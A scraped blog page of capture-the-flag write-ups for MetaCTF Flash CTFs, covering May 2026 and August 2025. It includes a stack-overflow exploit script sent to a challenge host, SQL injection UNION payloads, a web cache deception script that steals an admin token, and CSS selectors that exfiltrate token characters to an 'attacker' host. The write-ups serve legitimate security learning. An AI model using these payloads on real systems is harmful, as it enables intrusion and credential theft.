️🏴 MetaCTF May 2026 Flash CTF

2026-05-28T00:00:00+00:00

A free monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training, TCM Security, and Simply Cyber Academy. There will be 5 or more challenges and you will have 2 hours to solve as many as you can. This CTF will include both beginner and difficult challenges. </blockquote>
Details here: https://app.metactf.com/join/may2026</a>.
Paper Trail</h2>

A Harlow & Dent consultant sent an audit report to their client back in November, but the original draft had a section that wasn’t meant to go out. Thankfully, they deleted it before sending.
Download the report</a> </blockquote>
DOCX files are just ZIP files:
❯ unzip report.docx Archive: report.docx inflating: [Content_Types].xml inflating: _rels/.rels inflating: word/_rels/document.xml.rels inflating: word/document.xml inflating: word/settings.xml inflating: docProps/core.xml</code></pre> …and right there in the contents:
ctf/metactf/2026-05-may ❯ rg Meta . ./word/document.xml 94: <w:r><w:delText xml:space="preserve">Staging access token (rotate after handoff): MetaCTF{tr4ck3d_ch4ng3s_4r3nt_r34lly_g0n3}</w:delText></w:r></code></pre>
Common Ground</h2>

Vantara Systems runs two internal servers, each with its own RSA keypair. Both public keys were published to an internal certificate log. We also intercepted a message encrypted with server 1’s key.
n1.txt</a> server 1 modulus
n2.txt</a> server 2 modulus
e.txt</a> public exponent (same for both)
flag.enc</a> ciphertext, encrypted with server 1’s key </blockquote>
Given the name, this is likely a Common Factor (GCD) attack.
So n1</code> and n2</code> likely share a common factor; if gcd(n1, n2) != 1</code>, p</code> can be recovered and both keys factored:
>>> import math ... ... n1 = int(open("n1.txt").read().strip()) ... n2 = int(open("n2.txt").read().strip()) ... e = int(open("e.txt").read().strip()) ... ct = int(open("flag.enc").read().strip(), 16) ... ... p = math.gcd(n1, n2) ... q1 = n1 // p ... d = pow(e, -1, (p - 1) * (q1 - 1)) ... m = pow(ct, d, n1) ... ... print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode()) ... MetaCTF{sh4r3d_f4ct0rs_s1nk_b0th_k3ys}</code></pre>
Boarding School</h2>

We bought a bunch of airport trash cans on auction, and there were some old boarding passes in the bottom of them. Can you extract the booking reference number from this boarding pass? For example, submit MetaCTF{ABC123}</code>. Click the image to open it in a new tab. </blockquote>

The barcode on the left is a PDF417</a> barcode. Throwing the URL of the image straight into ZXing Decoder Online</a> reveals:
M1WANG/SIHYAO E5RUYUF NRTTPEJL 8663 001Y016G0057 348>3180 K4366BJL 01315825980012913163536830360 JL CX 1830035232 8</code></pre> The flag is MetaCTF{E5RUYUF}</code>. Final State</h2> This token validator only grants access to one specific input. You don’t have the source code. Download the binary here</a>. </blockquote> The decompiled code is pretty small; most of the logic lives in main, starting with populating a big table, zeroing it out and settings hard-coded addresses in said table with equally hard-coded values: int32_t main(int32_t argc, char** argv, char** envp) { void* fsbase; int64_t rbp = *(fsbase + 0x28); memset(&data_404080, 0, 0x8000); data_404fb4 = 0xc; data_405a14 = 3; data_404850 = 0x2d; data_409c04 = 0x1d; data_407b8c = 0x12; data_4065d0 = 0x37; data_40af98 = 0x3e; data_40be6c = 8; data_40524c = 0x22; data_408650 = 0x11; data_406350 = 0x29; data_409450 = 2; data_40454c = 0x3c; data_40ba4c = 0x19; data_4073fc = 0xb; data_405750 = 0x2f; data_40a048 = 5; data_404b4c = 0x26; data_408dfc = 0x14; data_406a28 = 0x38; data_40b254 = 9; data_40544c = 0x21; data_40835c = 0x10; data_4061fc = 0x2c; data_409a1c = 0x1b; data_407848 = 0x3f; data_40bf50 = 0xd; data_405c40 = 0x30; data_40a220 = 6; data_404e4c = 0x27; data_409074 = 0x33; printf("Token: ");</code></pre> …and the bulk of the processing occurs a little later: label_40125d: char (* i)[0x88] = &buf; int64_t rax_3 = 7; do { int64_t rdx_2 = *i; if (rdx_2 < 0) goto label_4012a4_2; i = &(*i)[1]; rax_3 = *(&data_404080 + (((rax_3 << 7) + rdx_2) << 2)); } while (i != &buf[rsi]);</code></pre> Effectively, the binary implements a state machine: each character transitions state = table[state * 128 + char]</code>, starting at state 7</code>, accepting if final state == 0x33</code>: if (rax_3 != 0x33) { label_4012a4_2: puts("ACCESS DENIED"); } else puts("ACCESS GRANTED");</code></pre> Using gdb</code> to get the contents of that table post-population: ❯ gdb ./final_state GNU gdb (GDB; SUSE Linux 16) 16.3 … (gdb) break *0x555555555280 Breakpoint 1 at 0x555555555280 (gdb) run Starting program: /home/psypherpunk/ctf/metactf/2026-05-may/final_state [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Token: x Breakpoint 1, 0x0000555555555280 in ?? () Missing separate debuginfos, use: zypper install glibc-debuginfo-2.40-160099.9.1.x86_64 (gdb) dump binary memory dump.bin 0x555555558080 0x555555568080 (gdb) quit</code></pre> …then parsing that dump.bin</code>: >>> import struct ... ... with open("dump.bin", "rb") as f: ... data = f.read() ... ... table = {} ... for i in range(0, len(data) - 3, 4): ... val = struct.unpack_from("<i", data, i)[0] ... if val != 0: ... rax_idx = i // 4 ... char = rax_idx % 128 ... if 32 <= char < 127: ... table[rax_idx] = val ...</code></pre> Given that the table is functionally 2D, time to reach for a textbook breadth-first search! >>> from collections import deque ... ... queue = deque([(7, "")]) ... visited = {7} ... ... while queue: ... state, path = queue.popleft() ... for c in range(32, 127): ... idx = state * 128 + c ... if idx in table: ... next_state = table[idx] ... if next_state == 0x33: ... print(path + chr(c)) ... if next_state not in visited: ... visited.add(next_state) ... queue.append((next_state, path + chr(c))) ... MetaCTF{st4t3s_4r3_jus7_gr4phs}</code></pre>Carry the One</h2> BudgetWarden is the internal payroll tool for a small consulting firm. The developers kept things simple… Maybe a bit too simple? Download the binary here</a> and when you’re ready, connect to the prod instance with nc kubenode.mctf.io 31100</code> </blockquote> Looking at the binary: read(0, rsp, 0x200)</code> at 0x4012b9</code> reads 512 bytes into a 64-byte stack buffer (sub rsp, 0x40)</code>—classic stack buffer overflow</li> the flag is read from /app/flag.txt</code> by a function at 0x4011a0</code></li> </ul> There are two main bugs to exploit: integer overflow: the running total is a uint16</code>; adding salary 464 to 0xfe30</code> wraps to 0, bypassing the <= 999</code> budget check</li> stack buffer overflow: read(0, rsp, 0x200)</code> into a 64-byte buffer; overwrite saved rbx</code> + return address to jump to the flag-reading function</li> </ol> import struct import sys OVERFLOW_OFFSET = 72 # 64-byte buffer + 8-byte saved rbx FLAG_FUNC = 0x4011A6 # flag reader RET_GADGET = 0x40101A # stack alignment payload = b"A" * OVERFLOW_OFFSET payload += struct.pack("<Q", RET_GADGET) payload += struct.pack("<Q", FLAG_FUNC) sys.stdout.buffer.write(b"1\n464\n2\n" + payload)</code></pre> …and then firing that at the nc</code>: ❯ ./carry-the-one.py | nc kubenode.mctf.io 31100 BudgetWarden 2.1 -- Payroll Manager ------------------------------------- Loaded existing records. Monthly total: $65072 1. Add employee 2. Generate summary report 3. Quit > Monthly salary: Added. Running total: 0 1. Add employee 2. Generate summary report 3. Quit > Report title: === AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ === Report generated. MetaCTF{uint16_wr4p_0p3ns_th3_v4ult}</code></pre>Phantom</h2> PhantomNet Industries prides itself on its impenetrable internal collaboration portal. The CISO personally signed off on it! See if you can get access to the classified document stored in the admin’s vault. You can create an account, and the admin is known to review any links submitted through the portal’s reporting system. Download the source here</a>, and spawn an instance of the challenge below. Good luck! </blockquote> I completely went down the wrong rabbit-hole for this one, my notes at the time being: stored XSS via <style></code> injection—sanitizeBio()</code> blocks <script></code>, event handlers and specific tags like svg</code>, form</code>, iframe</code>, etc. but not <style></code>. The dashboard renders every user’s bio with <%-</code> (raw HTML). CSP blocks scripts but style-src 'unsafe-inline' *</code> allows any CSS</li> CSS exfiltration—the admin’s dashboard contains:</li> </ol> <a id="secrets-link" href="/admin/secrets?token=ADMIN_TOKEN"></code></pre> CSS attribute selectors can leak this token character by character: a[href*="token=a"] { background: url(https://attacker/?c=a) } a[href*="token=b"] { background: url(https://attacker/?c=b) } /* ... */</code></pre> …and event managed to do it! ❯ ./phantom.py 1 10 109 1099 1099c 1099cd 1099cd3 1099cd3f 1099cd3f5 1099cd3f58 1099cd3f58e 1099cd3f58eb 1099cd3f58eb2 1099cd3f58eb28 1099cd3f58eb285 1099cd3f58eb285b 1099cd3f58eb285bb 1099cd3f58eb285bb4 1099cd3f58eb285bb43 1099cd3f58eb285bb43e 1099cd3f58eb285bb43e6 1099cd3f58eb285bb43e65 1099cd3f58eb285bb43e651 1099cd3f58eb285bb43e6518 1099cd3f58eb285bb43e6518f 1099cd3f58eb285bb43e6518f2 1099cd3f58eb285bb43e6518f27 1099cd3f58eb285bb43e6518f27c 1099cd3f58eb285bb43e6518f27cf 1099cd3f58eb285bb43e6518f27cf8 1099cd3f58eb285bb43e6518f27cf82 1099cd3f58eb285bb43e6518f27cf82e</code></pre> Of course, that’s completely wrong and the final solution is a touch simpler. It’s actually a web cache deception; NGINX can be made to cache the admin’s dashboard by submitting /dashboard;{random}.css</code> to the bot, then simply view that page. >>> import re ... import time ... import uuid ... ... import requests ... ... TARGET = "http://qu1ktokk.chals.mctf.io" ... ... s = requests.Session() ... ... username = f"attacker_{uuid.uuid4().hex[:6]}" ... r = s.post(f"{TARGET}/register", data={"username": username, "password": "password123"}) ... r.raise_for_status() ... ... cache_buster = uuid.uuid4().hex[:8] ... poisoned_dashboard = f"{TARGET}/dashboard;{cache_buster}.css" ... s.post(f"{TARGET}/admin/visit", json={"url": poisoned_dashboard}) ... r.raise_for_status() ... ... time.sleep(20) ... ... r = requests.get(poisoned_dashboard) ... r.raise_for_status() ... match = re.search(r"/admin/secrets\?token=([a-f0-9]+)", r.text) ... print(match.group(1)) ... 3626c94e62cbbd3e3f278ac55b264a22</code></pre> To actually get the flag, one makes use of a <link></code> (not a <style></code>): by referencing a stylesheet at /admin/secrets</code>, passing the above token, the bot will retrieve and cache the flag! >>> token = match.group(1) ... cache_buster2 = uuid.uuid4().hex[:8] ... secrets_path = f"/admin/secrets;{cache_buster2}.css?token={token}" ... ... bio = f'<link rel="stylesheet" href="{secrets_path}">' ... s.post(f"{TARGET}/profile/update", data={"bio": bio}) ... r.raise_for_status() ... ... profile_url = f"{TARGET}/profile/{username}" ... r = s.post(f"{TARGET}/admin/visit", json={"url": profile_url}) ... r.raise_for_status() ... ... time.sleep(20) ... ... r = requests.get(f"{TARGET}{secrets_path}") ... r.raise_for_status() ... print(r.json()["flag"]) ... MetaCTF{sp3cul4t1on_rul3s_m33t_c4ch3_d3c3pt1on_g8k2x}</code></pre>

️🏴 MetaCTF August 2025 Flash CTF

2025-08-29T00:00:00+00:00

A free monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training, TCM Security, and Simply Cyber Academy. There will be 5 challenges and you will have 2 hours to solve as many as you can. This CTF will include both beginner and difficult challenges. </blockquote>
Details here: https://app.metactf.com/join/aug2025</a>.
Baby Something</h2>

How does the song go again? Baby something do do do do do do…
Download the artifact here</a>. </blockquote>
The provided packet capture is involves only a single HTTP request/response, the latter of which, courtesy of Wireshare (as hinted at in the description—thanks for that earworm), contains HTML and the flag:
<!doctype html> <html lang="en"> <head><meta charset="utf-8"><title>Baby Shark Fan Page</title></head> <body> <h1>Baby Shark Fan Page</h1> <p>doo doo doo doo doo doo ð¦</p> <p>We love Baby Shark and all things sharky.</p> <pre style="border:1px solid #ddd;padding:8px;">MetaCTF{w1r3sh4rk_do0_d0o_d00_d00_doo_do0}</pre> </body> </html></code></pre>
All About Flags</h2>

I wrote a command line application all about flags! Can you take a look at it for me?
There’s downloads both for Windows</a> and Linux</a>, but they’re functionally the same, just download the version for whichever OS you prefer. </blockquote>
There might be more to this one but the flag appears in plaintext in the binary:
❯ strings all-about-flags | sed -rn 's@^.*(MetaCTF\{.+\}).*$@\1@p' MetaCTF{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}</code></pre>
Rainbow Box</h2>

Several planes crashed in the same location, but we could only find one black box. All we found was this weird rainbow image? Can you make anything out?
Download the image here</a>. </blockquote>
Planes? Bit planes</a>? Geddit?
Taking a leaf out of this article on Image Steganography with Python</a>, the code therein reveals this:

…so characters are indeed hidden in the image but this doesn’t quite make them legible (as it’s for gray-scale images, as per that article.)
I managed to produce some code that extends the above and produces this:

…which has “…all the right notes but not necessarily in the right order.”
However, a quick search for “bitplane steganography tool” turns up StegOnline</a> which manages the above with little effort: MetaCTF{fly-b1tpl4ne}</code>.
On The Grid</h2> I was hanging out on Granite Beach when I found a message in a bottle, it didn’t say very much though. Can you help me figure out where it came from? Here’s the transcript: Help!</code> 4V FH 246 677</code> The answer to the challenge is the name of the location the message was most likely written at. </blockquote> Some searching suggests that “FV…” might be a “Military Grid Reference System”. Given the name of the challenge, that sounds promising. This site, MGRS Converter: Military Grid Reference System</a>, converts that value to a latitude of 56.53711577</code> and longitude of -156.97382099</code>, which Google Maps shows to be Foggy Cape</a>. Super Quick Logic Invitational</h2> I’ll take “Rather Vexing” for 500 Alex. This new trivia game is pretty fun, but one of the challenges is impossible! “What is the flag for this CTF challenge?”, how would I know?! Maybe you’ll fare better? </blockquote> The site presents “201 unique problems to solve each game, you’ll never believe what’s the answer to challenge 201!”, presumably the flag…? “What is the largest prime factor of 625?”. After a surprising number of lucky guesses, it seems that the classic ' OR 1=1 --</code> works—the site is vulnerable to SQLi. Using a classic UNION</code> attack, via 'UNION SELECT 'A', 'B', 'C', 'D' --</code>, shows that there are 4 parameters being returned. However, those values don’t show up until the site’s 30 second countdown has completed, at which point C</code> shows up in the Answer value. Thankfully, forcing an error by closing the '</code> and passing in any ol’ garbage, like '!"£$%^&*()_</code>, results in an error: { "error":"unrecognized token: \"!\"", "query":"SELECT * FROM problems WHERE id = 164 AND answer = ''!\"\u00a3$%^&*()_'" }</code></pre> …revealing both the table and column of interest. Putting those discoveries together and passing: ' UNION SELECT '', '', (SELECT answer FROM problems WHERE id = 201), '' --</code></pre> …results in a page containing: Answer: MetaCTF{wh4t_1s_7h3_fl4g_f0r_7hi5_ch5l1eng3}</code></pre>Spreadsheet</h2> I can’t afford Office 365 so I’ve decided to roll my own. What could possibly go wrong! My spreadsheet application is a work in progress but feel free to give it a try. You can download my program here</a>. </blockquote> The “spreadsheet” app. is a TUI tool allowing editing, loading, saving and printing of—as you might guess—a spreadsheet: ❯ ./spreadsheet.bin b Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit</code></pre> As can be seen from the print_spreadsheet</code> function (courtesy of Ghidra), it actually occupies a static 10x10 array (of char *</code>): void print_spreadsheet(void) { int row; int col; putchar(9); for (col = 0; col < 10; col = col + 1) { printf("%c\t",(ulong)(col + 0x41)); } putchar(10); for (row = 0; row < 10; row = row + 1) { printf("%2d\t",(ulong)(row + 1)); for (col = 0; col < 10; col = col + 1) { printf("%4s\t",spreadsheet[row][col]); } putchar(10); } return; }</code></pre> The filename, spreadsheet.csv</code>, is also static and, more importantly, its pointer sits right next to the above array on the stack. edit_spreadsheet</code> contains no validation around which characters can be entered into a “cell”, so it’s possible to write additional columns: MPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY, EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,EMPTY,X,flag.txt,</code></pre> Equally, load_spreadsheet</code> doesn’t correctly validate the columns on read, just using strtok</code> to catch instances of ,</code>: void load_spreadsheet(void) { … else { row = 0; while ((pcVar3 = fgets(line,0x400,__stream), pcVar3 != (char *)0x0 && (sVar2 = strlen(line), 1 < sVar2))) { col = 0; val = strtok(line,","); while (val != (char *)0x0) { free(spreadsheet[row][col]); pcVar3 = strdup(val); spreadsheet[row][col] = pcVar3; val = strtok((char *)0x0,","); col = col + 1; } row = row + 1; } fclose(__stream); puts("Spreadsheet loaded!"); } … }</code></pre> In the above example, flag.txt</code> would be read in as an additional value after the 10x10 array…right into the filename pointer! Once that’s done, loading the file again would cause flag.txt</code> to be read, after which it should be possible to display the flag: ❯ nc kubenode.mctf.io 31009 Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit > E Enter cell (i.e. 'B7'): J10 Enter new value: X,flag.txt Value updated! Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit > S Spreadsheet saved! Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit > L Spreadsheet loaded! Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit > L Spreadsheet loaded! Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit > P A B C D E F G H I J 1 MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n} EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 2 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 3 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 4 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 5 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 6 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 7 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 8 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 9 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY 10 EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY EMPTY X</code></pre>

BSides London 2023 CTF</h2>
Prompted by a message on the Hack The Box Meetup:UK</em></a> Discord, the below documents my attempt at the CTF from the BSides London 2023</em> conference, shamelessly purloined from the archive at `phyushin/bsidesLDN2023</code></a>.</p>`

Mammoth Mini-CTF 2023</h2>
Similar to the previous Dialed-Up CTF</em></a>, this was announced on Twitter</a> with the MP3 available on GitHub</a>.</p>

Dialed Up CTF</h2>
I originally noticed this on Twitter</a>, the weekend before DEF CON 30: a “mini-CTF all embedded in an .mp3”</em>. Who could resist?</p>

psypherpunk::blog

️🏴 MetaCTF May 2026 Flash CTF

️A Christmas Puzzle

️🏴 MetaCTF August 2025 Flash CTF

️🏴 404 on the Dancefloor

️📦 HackTheBox: UnderPass

️🏴 MetaCTF January 2025 Flash CTF

️🐍 Polyfactory and Patients

️🏴 MetaCTF November 2024 Flash CTF

️🏴 MetaCTF August 2024 Flash CTF

️🏴 MetaCTF July 2024 Flash CTF

️🏴 MetaCTF June 2024 Flash CTF

️🏴 MetaCTF May 2024 Flash CTF

️🏴 MetaCTF April 2024 Flash CTF

️🏴 MetaCTF March 2024 Flash CTF

MetaCTF March 2024 Flash CTF</h2>

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security.</em></p> </blockquote>

️🏴 MetaCTF February 2024 Flash CTF

MetaCTF February 2024 Flash CTF</h2>

A monthly mini CTF competition organized by MetaCTF and Antisyphon. There will be 5 challenges and you will have 2 hours to solve as many as you can.</em></p> </blockquote>

️🏴 BSides London 2023 CTF

️🏴 Mammoth Mini-CTF 2023

️📦 HackTheBox: Stocker

️🎄 Advent of Code 2021, Day 9

️🎄 Advent of Code 2021, Day 7

️🏴 Dialed Up CTF

🗃️ Wordle on Sunday

💥 Regular Expressions

🔁 Zola, okay we'll do it your way.

💥 From Hugo to Zola

💾 Jargon

🔓 Hack the Shed

🐛 Go Down the Rabbit Hole

🦄 django-pwny

🎉 Hello, World!

psypherpunk::blog

️🏴 MetaCTF May 2026 Flash CTF

Paper Trail</h2> A Harlow & Dent consultant sent an audit report to their client back in November, but the original draft had a section that wasn’t meant to go out. Thankfully, they deleted it before sending.</em></p>

Common Ground</h2> Vantara Systems runs two internal servers, each with its own RSA keypair. Both public keys were published to an internal certificate log. We also intercepted a message encrypted with server 1’s key.</em></p>

Final State</h2> This token validator only grants access to one specific input. You don’t have the source code.</em></p>

Carry the One</h2> BudgetWarden is the internal payroll tool for a small consulting firm. The developers kept things simple… Maybe a bit too simple?</em></p>

️A Christmas Puzzle

️🏴 MetaCTF August 2025 Flash CTF

Baby Something</h2> How does the song go again? Baby something do do do do do do…</em></p>

All About Flags</h2> I wrote a command line application all about flags! Can you take a look at it for me?</em></p>

Rainbow Box</h2> Several planes crashed in the same location, but we could only find one black box. All we found was this weird rainbow image? Can you make anything out?</em></p>

Spreadsheet</h2> I can’t afford Office 365 so I’ve decided to roll my own. What could possibly go wrong!</em></p>

️🏴 404 on the Dancefloor

️📦 HackTheBox: UnderPass

️🏴 MetaCTF January 2025 Flash CTF

️🐍 Polyfactory and Patients

️🏴 MetaCTF November 2024 Flash CTF

️🏴 MetaCTF August 2024 Flash CTF

️🏴 MetaCTF July 2024 Flash CTF

️🏴 MetaCTF June 2024 Flash CTF

️🏴 MetaCTF May 2024 Flash CTF

️🏴 MetaCTF April 2024 Flash CTF

️🏴 MetaCTF March 2024 Flash CTF

MetaCTF March 2024 Flash CTF</h2> A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security.</em></p> </blockquote>

️🏴 MetaCTF February 2024 Flash CTF

MetaCTF February 2024 Flash CTF</h2> A monthly mini CTF competition organized by MetaCTF and Antisyphon. There will be 5 challenges and you will have 2 hours to solve as many as you can.</em></p> </blockquote>

️🏴 BSides London 2023 CTF

BSides London 2023 CTF</h2> Prompted by a message on the Hack The Box Meetup:UK</em></a> Discord, the below documents my attempt at the CTF from the BSides London 2023</em> conference, shamelessly purloined from the archive at phyushin/bsidesLDN2023</code></a>.</p>

️🏴 Mammoth Mini-CTF 2023

Mammoth Mini-CTF 2023</h2> Similar to the previous Dialed-Up CTF</em></a>, this was announced on Twitter</a> with the MP3 available on GitHub</a>.</p>

️📦 HackTheBox: Stocker

️🎄 Advent of Code 2021, Day 9

️🎄 Advent of Code 2021, Day 7

️🏴 Dialed Up CTF

Dialed Up CTF</h2> I originally noticed this on Twitter</a>, the weekend before DEF CON 30: a “mini-CTF all embedded in an .mp3”</em>. Who could resist?</p>

🗃️ Wordle on Sunday

💥 Regular Expressions

🔁 Zola, okay we'll do it your way.

💥 From Hugo to Zola

💾 Jargon

🔓 Hack the Shed

🐛 Go Down the Rabbit Hole

🦄 django-pwny

🎉 Hello, World!

MetaCTF March 2024 Flash CTF</h2>

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security.</em></p> </blockquote>

MetaCTF February 2024 Flash CTF</h2>

A monthly mini CTF competition organized by MetaCTF and Antisyphon. There will be 5 challenges and you will have 2 hours to solve as many as you can.</em></p> </blockquote>

BSides London 2023 CTF</h2>
Prompted by a message on the Hack The Box Meetup:UK</em></a> Discord, the below documents my attempt at the CTF from the BSides London 2023</em> conference, shamelessly purloined from the archive at `phyushin/bsidesLDN2023</code></a>.</p>`

Mammoth Mini-CTF 2023</h2>
Similar to the previous Dialed-Up CTF</em></a>, this was announced on Twitter</a> with the MP3 available on GitHub</a>.</p>

Dialed Up CTF</h2>
I originally noticed this on Twitter</a>, the weekend before DEF CON 30: a “mini-CTF all embedded in an .mp3”</em>. Who could resist?</p>